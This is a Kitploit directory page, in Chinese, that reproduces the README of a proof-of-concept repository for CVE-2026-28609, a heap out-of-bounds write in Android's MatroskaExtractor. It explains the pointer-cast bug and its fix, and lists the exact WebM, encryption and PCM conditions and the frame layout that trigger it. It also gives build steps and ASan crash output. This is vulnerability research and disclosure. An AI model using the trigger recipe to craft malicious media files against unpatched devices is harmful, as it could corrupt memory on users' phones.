Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-28609-matroska-pcm-oob — CVE-2026-28609 的概念验证与插桩复现测试框架,该漏洞是 Android MatroskaExtractor 中的一处越界写入,可通过带有大端 PCM 音轨的精心构造的 WebM 文件触发。 | Kitploit
工具/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Android安全内存取证漏洞分析漏洞利用逆向工程模糊测试移动安全二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

CVE-2026-28609 的概念验证与插桩复现测试框架,该漏洞是 Android MatroskaExtractor 中的一处越界写入,可通过带有大端 PCM 音轨的精心构造的 WebM 文件触发。

查看仓库
81881个月前尚未审核

CVE-2026-28609 — Matroska PCM 越界写入

针对 CVE-2026-28609 的概念验证、插桩复现测试框架及技术分析文章。该漏洞是 Android 的 MatroskaExtractor 中的一处越界写入,可通过一个带有大端 PCM 音轨的精心构造的 WebM 文件触发。

概览

  • CVE ID: CVE-2026-28609
  • 厂商: Google / Android
  • 组件: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • 问题: 由不当类型转换导致的越界写入
  • CWE: CWE-787 / CWE-704
  • 受影响版本: Android 14、15、16、16 QPR2
  • 严重程度: 高
  • 影响: 潜在的远程代码执行
  • AOSP 问题: A-485377744
  • 补丁: 已在 2026 年 9 月 Android 安全更新中修复

1. 概述

Android MatroskaExtractor 中的 MatroskaSource::read() 包含一个 PCM 大端字节交换循环,该循环在加上 frame->range_offset()(一个字节偏移量)之前,就将帧数据指针转换为 uint16_t *。由于对 uint16_t * 进行 C 指针运算会将偏移量按 sizeof(uint16_t) = 2 缩放,因此得到的指针位于缓冲区起始位置之后 2 * range_offset 字节处,而非 range_offset 字节处。

当 range_offset > 0 时,该循环会读取并写入帧的 MediaBuffer 末尾之后的一个或多个字节。在没有 ASan 的设备上,越界读取会静默成功,而越界写入会破坏紧跟在缓冲区之后的字节。

存在漏洞的代码行:

// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

上游修复在应用偏移量之前将指针转换为 uint8_t *:

uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. 本仓库演示的内容

一个可运行、可复现的 CVE-2026-28609 触发程序,已在真实的 Android 14 设备上通过 AddressSanitizer 验证。本仓库包含:

  1. 一个 Python 生成器,用于生成一个 WebM 文件,该文件会以非零的 range_offset 将提取器驱动至存在漏洞的分支。
  2. 一个 C-ABI 测试框架,通过 dlopen 加载提取器插件,调用 GETEXTRACTORDEF,并从文件中读取帧。
  3. 一组 构建脚本,用于编译一个经过 ASan 插桩的、存在漏洞的 AOSP 提取器副本,并将其与设备的媒体框架库链接。
  4. 一个 构建配置,可自动发现包含目录,因此构建过程可适配任意 AOSP 检出。

在存在漏洞的设备上,结果如下:

==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. 触发机制

存在漏洞的分支需要同时满足以下所有条件:

条件来源
轨道为 PCMmType == PCM
大端序AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
16 位采样AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
帧具有非零 range_offset由 set_range(offset, ...) 设置

前三个条件可通过声明编解码器 ID 为 A_PCM/INT/BIG、位深为 16 的轨道来满足。第四个条件才是关键所在。

range_offset 仅在 MatroskaSource::setWebmBlockCryptoInfo() 中被设置为非零值,而该函数在以下条件下由 readBlock() 调用:

if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

因此,触发文件必须满足以下条件:

  • mIsWebm — EBML 的 DocType 元素必须为 "webm",而不是 "matroska"。
  • mEncrypted — 轨道必须声明 ContentEncodings,其中 ContentEncodingType = 1(加密)并包含 ContentEncKeyID。
  • 非加密帧 — 每个帧的首字节必须是信号字节,其最低位(0x1)为 0, 表示该帧未加密但经过内容编码。这会进入 setWebmBlockCryptoInfo 中的 else 分支,该分支调用 set_range(1, len - 1)。

剥离后,每个帧的 range_offset = 1。随后,存在漏洞的分支 计算 (uint16_t *)data + 1,即前进 2 个字节, 循环读取/写入字节 [2, 2 + range_length) —— 越过 65 字节分配 (64 字节帧 + 1 字节信号)末尾一个字节。

触发帧的字节布局

+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

信号字节 0x00 被 set_range(1, 64) 剥离,在 65 字节的分配中留下一个 64 字节的帧。随后,存在漏洞的指针运算会在字节偏移 2 到 65 处写入。


4. 仓库布局

.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

构建前由用户克隆的上游依赖:

av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. 前置条件

  • 主机: Linux 或 WSL2,需具备 bash、python3、make
  • NDK: Android NDK r27+, 通过 $ANDROID_NDK_HOME 设置
  • 设备: Android 14、15、16 或 16-QPR2,安全补丁级别 早于 2026 年 9 月
  • ADB: adb 位于 PATH 中(Linux,或来自 WSL 的 adb.exe)
  • 磁盘: 约 1.5 GB,用于 AOSP 克隆

6. 构建

6.1 克隆上游依赖

mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

如果你的 AOSP 源码树使用模块化提取器布局 (av/media/module/extractors/mkv/),则无需进一步调整。 如果使用较旧的布局(av/media/libstagefright/matroska/), 请参阅构建脚本中关于 MKV 变量的说明。

6.2 拉取设备库

mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 配置

cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

将 ANDROID_API 设置为与你的目标设备匹配的值(例如,Android 14 对应 34)。

6.4 构建并运行

./scripts/run.sh

run.sh 脚本按顺序执行四个步骤:

  1. build_foundation.sh — 将 av/media/module/foundation/ 和 av/media/module/metadatautils/ 中的 28 个源文件编译为 plugin-asan/libstagefright_foundation_asan.a。
  2. build_plugin.sh — 编译 MatroskaExtractor.cpp、mkvparser.cc、mkvreader.cc,并将它们与该归档文件链接为 libmkvextractor_asan.so。
  3. build_harness.sh — 使用 -shared-libsan 编译 harness_c_abi。
  4. 将插件、harness、ASan 运行时和 poc.mkv 推送到 /data/local/tmp 并运行 harness。

构建脚本会自动发现缺失的 include 根目录。当编译器报告 fatal error: 'X' file not found 时,脚本会搜索依赖树,找到 X 的父目录,并将其追加到 include_dirs.conf。这就是 include_dirs.conf 在首次构建期间不断增长的原因。一旦所有头文件都被发现,该文件就会稳定下来,后续构建便具有确定性。


7.崩溃

在存在漏洞的设备上,harness 会产生:

[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
下载工具